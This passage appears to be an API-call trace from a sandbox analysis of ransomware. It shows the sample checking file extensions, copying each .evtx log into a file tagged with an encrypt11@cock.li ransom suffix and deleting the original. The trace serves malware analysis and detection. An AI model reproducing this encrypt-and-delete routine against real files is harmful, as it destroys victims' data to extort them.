(lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.973] lstrlenW (lpString=".zip") returned 4 [0050.973] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString=".rar") returned 4 [0050.973] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString=".bz2") returned 4 [0050.973] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString=".7z") returned 3 [0050.973] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.973] lstrlenW (lpString=".dbf") returned 4 [0050.973] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.973] lstrlenW (lpString=".1cd") returned 4 [0050.973] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.973] lstrlenW (lpString=".jpg") returned 4 [0050.973] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.973] lstrlenW (lpString=".doc") returned 4 [0050.973] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString=".docx") returned 5 [0050.973] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0050.973] lstrlenW (lpString=".pdf") returned 4 [0050.973] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0050.973] lstrlenW (lpString=".xls") returned 4 [0050.973] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString=".xlsx") returned 5 [0050.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0050.974] lstrlenW (lpString=".ppt") returned 4 [0050.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.974] lstrlenW (lpString=".zip") returned 4 [0050.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString=".rar") returned 4 [0050.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString=".bz2") returned 4 [0050.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString=".7z") returned 3 [0050.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.974] lstrlenW (lpString=".dbf") returned 4 [0050.974] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.974] lstrlenW (lpString=".1cd") returned 4 [0050.974] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0050.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0050.974] lstrlenW (lpString=".jpg") returned 4 [0050.974] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0050.974] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0050.974] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0050.974] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.974] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0050.975] CloseHandle (hObject=0x388) returned 1 [0050.975] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0050.975] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.975] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0050.975] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.975] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.975] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0050.978] GetLastError () returned 0x0 [0050.978] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.123] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.125] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.125] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x124, lpOverlapped=0x0) returned 1 [0051.125] SetEndOfFile (hFile=0x368) returned 1 [0051.125] CloseHandle (hObject=0x368) returned 1 [0051.127] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.127] SetEndOfFile (hFile=0x388) returned 1 [0051.143] CloseHandle (hObject=0x388) returned 1 [0051.143] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.144] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0051.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.155] lstrlenW (lpString=".doc") returned 4 [0051.155] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.155] lstrlenW (lpString=".docx") returned 5 [0051.155] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.155] lstrlenW (lpString=".pdf") returned 4 [0051.155] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.155] lstrlenW (lpString=".xls") returned 4 [0051.155] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.155] lstrlenW (lpString=".xlsx") returned 5 [0051.155] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.155] lstrlenW (lpString=".ppt") returned 4 [0051.155] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.155] lstrlenW (lpString=".zip") returned 4 [0051.155] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.155] lstrlenW (lpString=".rar") returned 4 [0051.156] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".bz2") returned 4 [0051.156] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".7z") returned 3 [0051.156] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.156] lstrlenW (lpString=".dbf") returned 4 [0051.156] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.156] lstrlenW (lpString=".1cd") returned 4 [0051.156] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.156] lstrlenW (lpString=".jpg") returned 4 [0051.156] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.156] lstrlenW (lpString=".doc") returned 4 [0051.156] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".docx") returned 5 [0051.156] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.156] lstrlenW (lpString=".pdf") returned 4 [0051.156] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".xls") returned 4 [0051.156] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".xlsx") returned 5 [0051.156] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.156] lstrlenW (lpString=".ppt") returned 4 [0051.156] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.156] lstrlenW (lpString=".zip") returned 4 [0051.156] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".rar") returned 4 [0051.156] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.156] lstrlenW (lpString=".bz2") returned 4 [0051.156] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.157] lstrlenW (lpString=".7z") returned 3 [0051.157] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.157] lstrlenW (lpString=".dbf") returned 4 [0051.157] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.157] lstrlenW (lpString=".1cd") returned 4 [0051.157] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0051.157] lstrlenW (lpString=".jpg") returned 4 [0051.157] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.157] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.157] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0051.157] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.157] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.157] CloseHandle (hObject=0x388) returned 1 [0051.157] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0051.157] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.157] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.158] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.158] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.158] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0051.158] GetLastError () returned 0x0 [0051.158] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.213] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.215] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.215] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x138, lpOverlapped=0x0) returned 1 [0051.215] SetEndOfFile (hFile=0x368) returned 1 [0051.215] CloseHandle (hObject=0x368) returned 1 [0051.217] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.217] SetEndOfFile (hFile=0x388) returned 1 [0051.218] CloseHandle (hObject=0x388) returned 1 [0051.218] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.218] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0051.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.228] lstrlenW (lpString=".doc") returned 4 [0051.228] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.228] lstrlenW (lpString=".docx") returned 5 [0051.228] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.228] lstrlenW (lpString=".pdf") returned 4 [0051.229] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".xls") returned 4 [0051.229] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".xlsx") returned 5 [0051.229] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.229] lstrlenW (lpString=".ppt") returned 4 [0051.229] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.229] lstrlenW (lpString=".zip") returned 4 [0051.229] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".rar") returned 4 [0051.229] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".bz2") returned 4 [0051.229] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".7z") returned 3 [0051.229] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.229] lstrlenW (lpString=".dbf") returned 4 [0051.229] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.229] lstrlenW (lpString=".1cd") returned 4 [0051.229] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.229] lstrlenW (lpString=".jpg") returned 4 [0051.229] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.229] lstrlenW (lpString=".doc") returned 4 [0051.229] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".docx") returned 5 [0051.229] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.229] lstrlenW (lpString=".pdf") returned 4 [0051.229] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.229] lstrlenW (lpString=".xls") returned 4 [0051.229] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString=".xlsx") returned 5 [0051.230] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.230] lstrlenW (lpString=".ppt") returned 4 [0051.230] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.230] lstrlenW (lpString=".zip") returned 4 [0051.230] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString=".rar") returned 4 [0051.230] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString=".bz2") returned 4 [0051.230] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString=".7z") returned 3 [0051.230] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.230] lstrlenW (lpString=".dbf") returned 4 [0051.230] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.230] lstrlenW (lpString=".1cd") returned 4 [0051.230] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0051.230] lstrlenW (lpString=".jpg") returned 4 [0051.230] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.230] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.230] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0051.230] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.234] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.235] CloseHandle (hObject=0x398) returned 1 [0051.235] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0051.235] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.236] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.236] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0051.238] GetLastError () returned 0x0 [0051.238] ReadFile (in: hFile=0x364, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.336] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.337] ReadFile (in: hFile=0x364, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.338] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x114, lpOverlapped=0x0) returned 1 [0051.338] SetEndOfFile (hFile=0x368) returned 1 [0051.338] CloseHandle (hObject=0x368) returned 1 [0051.339] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.339] SetEndOfFile (hFile=0x364) returned 1 [0051.340] CloseHandle (hObject=0x364) returned 1 [0051.340] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.341] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0051.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.341] lstrlenW (lpString=".doc") returned 4 [0051.341] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.341] lstrlenW (lpString=".docx") returned 5 [0051.341] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.341] lstrlenW (lpString=".pdf") returned 4 [0051.341] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.341] lstrlenW (lpString=".xls") returned 4 [0051.341] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.341] lstrlenW (lpString=".xlsx") returned 5 [0051.341] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.341] lstrlenW (lpString=".ppt") returned 4 [0051.341] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.341] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.341] lstrlenW (lpString=".zip") returned 4 [0051.341] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.341] lstrlenW (lpString=".rar") returned 4 [0051.341] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString=".bz2") returned 4 [0051.342] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString=".7z") returned 3 [0051.342] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.342] lstrlenW (lpString=".dbf") returned 4 [0051.342] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.342] lstrlenW (lpString=".1cd") returned 4 [0051.342] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.342] lstrlenW (lpString=".jpg") returned 4 [0051.342] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.342] lstrlenW (lpString=".doc") returned 4 [0051.342] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString=".docx") returned 5 [0051.342] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.342] lstrlenW (lpString=".pdf") returned 4 [0051.342] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString=".xls") returned 4 [0051.342] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString=".xlsx") returned 5 [0051.342] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.342] lstrlenW (lpString=".ppt") returned 4 [0051.342] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.342] lstrlenW (lpString=".zip") returned 4 [0051.342] lstrcmpiW (lpString1=".zip", lpString2="evtx") 